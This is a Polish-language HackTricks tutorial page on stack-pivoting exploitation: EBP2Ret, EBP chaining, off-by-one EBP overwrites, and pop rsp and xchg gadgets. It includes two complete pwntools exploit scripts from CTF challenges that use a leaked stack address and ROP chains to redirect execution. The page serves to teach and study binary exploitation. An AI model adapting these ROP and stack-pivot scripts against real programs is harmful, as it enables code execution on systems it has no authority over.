mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
179 lines
7.0 KiB
Markdown
179 lines
7.0 KiB
Markdown
# Stack Pivoting - EBP2Ret - EBP chaining
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Basic Information
|
|
|
|
Ta technika wykorzystuje możliwość manipulacji **Wskaźnikiem Bazowym (EBP)** do łączenia wykonania wielu funkcji poprzez staranne użycie rejestru EBP oraz sekwencji instrukcji `leave; ret`.
|
|
|
|
Przypominając, **`leave`** zasadniczo oznacza:
|
|
```
|
|
mov esp, ebp
|
|
pop ebp
|
|
ret
|
|
```
|
|
I jako że **EBP znajduje się na stosie** przed EIP, możliwe jest jego kontrolowanie poprzez kontrolowanie stosu.
|
|
|
|
### EBP2Ret
|
|
|
|
Ta technika jest szczególnie przydatna, gdy możesz **zmienić rejestr EBP, ale nie masz bezpośredniego sposobu na zmianę rejestru EIP**. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonywania.
|
|
|
|
Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stos, który wskazuje na obszar w pamięci, gdzie znajduje się adres twojego shellcode (plus 4 bajty na operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawione na to skonstruowane miejsce, a następna operacja `pop` zmniejsza ESP o 4, **efektywnie wskazując na adres przechowywany przez atakującego.**\
|
|
Zauważ, że **musisz znać 2 adresy**: Ten, na który ESP ma wskoczyć, gdzie będziesz musiał zapisać adres, na który wskazuje ESP.
|
|
|
|
#### Budowa Exploita
|
|
|
|
Najpierw musisz znać **adres, w którym możesz zapisać dowolne dane/adresy**. ESP będzie wskazywać tutaj i **wykona pierwszy `ret`**.
|
|
|
|
Następnie musisz znać adres używany przez `ret`, który **wykona dowolny kod**. Możesz użyć:
|
|
|
|
- Ważnego [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresu.
|
|
- Adresu **`system()`** po którym następują **4 bajty śmieci** i adres `"/bin/sh"` (x86 bits).
|
|
- Adresu **`jump esp;`** gadgetu ([**ret2esp**](ret2esp-ret2reg.md)) po którym następuje **shellcode** do wykonania.
|
|
- Jakiegoś [**ROP**](rop-return-oriented-programing.md) łańcucha.
|
|
|
|
Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanej części pamięci muszą być **`4` bajty** z powodu części **`pop`** instrukcji `leave`. Możliwe byłoby wykorzystanie tych 4B do ustawienia **drugiego fałszywego EBP** i kontynuowania kontroli nad wykonaniem.
|
|
|
|
#### Exploit Off-By-One
|
|
|
|
Istnieje specyficzna wariant tej techniki znana jako "Off-By-One Exploit". Jest używana, gdy możesz **zmodyfikować tylko najmniej znaczący bajt EBP**. W takim przypadku lokalizacja pamięci przechowująca adres, do którego należy skoczyć z **`ret`**, musi dzielić pierwsze trzy bajty z EBP, co pozwala na podobną manipulację w bardziej ograniczonych warunkach.
|
|
|
|
### **Łańcuchowanie EBP**
|
|
|
|
Dlatego umieszczając kontrolowany adres w wpisie `EBP` na stosie i adres do `leave; ret` w `EIP`, możliwe jest **przeniesienie `ESP` do kontrolowanego adresu `EBP` ze stosu**.
|
|
|
|
Teraz **`ESP`** jest kontrolowane, wskazując na pożądany adres, a następna instrukcja do wykonania to `RET`. Aby to wykorzystać, można umieścić w kontrolowanym miejscu ESP to:
|
|
|
|
- **`&(next fake EBP)`** -> Załaduj nowy EBP z powodu `pop ebp` z instrukcji `leave`
|
|
- **`system()`** -> Wywołane przez `ret`
|
|
- **`&(leave;ret)`** -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i zacznie od nowa
|
|
- **`&("/bin/sh")`**-> Parametr dla `system`
|
|
|
|
W zasadzie w ten sposób można łańcuchować kilka fałszywych EBP, aby kontrolować przepływ programu.
|
|
|
|
To jest jak [ret2lib](ret2lib/), ale bardziej skomplikowane bez oczywistych korzyści, ale może być interesujące w niektórych skrajnych przypadkach.
|
|
|
|
Ponadto, tutaj masz [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu**, aby wywołać zwycięską funkcję. To jest końcowy ładunek z tej strony:
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = process()
|
|
|
|
p.recvuntil('to: ')
|
|
buffer = int(p.recvline(), 16)
|
|
log.success(f'Buffer: {hex(buffer)}')
|
|
|
|
LEAVE_RET = 0x40117c
|
|
POP_RDI = 0x40122b
|
|
POP_RSI_R15 = 0x401229
|
|
|
|
payload = flat(
|
|
0x0, # rbp (could be the address of anoter fake RBP)
|
|
POP_RDI,
|
|
0xdeadbeef,
|
|
POP_RSI_R15,
|
|
0xdeadc0de,
|
|
0x0,
|
|
elf.sym['winner']
|
|
)
|
|
|
|
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
|
|
|
|
payload += flat(
|
|
buffer, # Load leak address in RBP
|
|
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
|
|
)
|
|
|
|
pause()
|
|
p.sendline(payload)
|
|
print(p.recvline())
|
|
```
|
|
## EBP jest bezużyteczny
|
|
|
|
Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarka jest kompilowana z pewnymi optymalizacjami, **EBP nigdy nie kontroluje ESP**, dlatego każdy exploit działający poprzez kontrolowanie EBP zasadniczo się nie powiedzie, ponieważ nie ma rzeczywistego efektu.\
|
|
Dzieje się tak, ponieważ **prolog i epilog zmieniają się**, jeśli binarka jest zoptymalizowana.
|
|
|
|
- **Nie zoptymalizowane:**
|
|
```bash
|
|
push %ebp # save ebp
|
|
mov %esp,%ebp # set new ebp
|
|
sub $0x100,%esp # increase stack size
|
|
.
|
|
.
|
|
.
|
|
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
|
ret # return
|
|
```
|
|
- **Optymalizowane:**
|
|
```bash
|
|
push %ebx # save ebx
|
|
sub $0x100,%esp # increase stack size
|
|
.
|
|
.
|
|
.
|
|
add $0x10c,%esp # reduce stack size
|
|
pop %ebx # restore ebx
|
|
ret # return
|
|
```
|
|
## Inne sposoby kontrolowania RSP
|
|
|
|
### **`pop rsp`** gadget
|
|
|
|
[**Na tej stronie**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a tam był **gadget `pop rsp`** i był **leak ze stosu**:
|
|
```python
|
|
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
|
# This version has added comments
|
|
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = process()
|
|
|
|
p.recvuntil('to: ')
|
|
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
|
|
log.success(f'Buffer: {hex(buffer)}')
|
|
|
|
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
|
|
POP_RDI = 0x40122b
|
|
POP_RSI_R15 = 0x401229 # pop RSI and R15
|
|
|
|
# The payload starts
|
|
payload = flat(
|
|
0, # r13
|
|
0, # r14
|
|
0, # r15
|
|
POP_RDI,
|
|
0xdeadbeef,
|
|
POP_RSI_R15,
|
|
0xdeadc0de,
|
|
0x0, # r15
|
|
elf.sym['winner']
|
|
)
|
|
|
|
payload = payload.ljust(104, b'A') # pad to 104
|
|
|
|
# Start popping RSP, this moves the stack to the leaked address and
|
|
# continues the ROP chain in the prepared payload
|
|
payload += flat(
|
|
POP_CHAIN,
|
|
buffer # rsp
|
|
)
|
|
|
|
pause()
|
|
p.sendline(payload)
|
|
print(p.recvline())
|
|
```
|
|
### xchg \<reg>, rsp gadget
|
|
```
|
|
pop <reg> <=== return pointer
|
|
<reg value>
|
|
xchg <reg>, rsp
|
|
```
|
|
## Odniesienia
|
|
|
|
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
|
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|